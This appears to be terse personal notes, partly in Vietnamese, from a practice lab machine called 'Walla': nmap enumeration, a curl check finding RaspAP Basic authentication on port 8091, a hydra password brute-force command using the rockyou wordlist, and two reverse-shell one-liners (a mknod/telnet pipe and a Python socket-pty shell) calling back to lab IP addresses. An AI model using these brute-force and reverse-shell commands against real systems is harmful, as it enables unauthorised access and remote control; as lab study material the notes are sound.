Walla - burte force https - hydra better than ffuf - header request

Enum

nmap

Ra các port, chỉ có 8091 có info

dirbe và ferosbuster không có gì , không xem được Required authen

2 cách

curl lấy header

curl -I http://192.168.187.97:8091
HTTP/1.1 401 Unauthorized
Set-Cookie: PHPSESSID=6nheheee881rqplce749ilj63m; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
WWW-Authenticate: Basic realm="RaspAP"
Content-type: text/html; charset=UTF-8
Date: Sun, 18 Jan 2026 04:36:50 GMT
Server: lighttpd/1.4.53

Chúc ý www-authen và phpsessions Dùng hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.187.97 http-get / -s 8091 -m "Authorization: admin:^PASS^" -f -V

mknod a p && telnet 192.168.49.233 443 0<a | /bin/sh 1>a

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.245.227",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'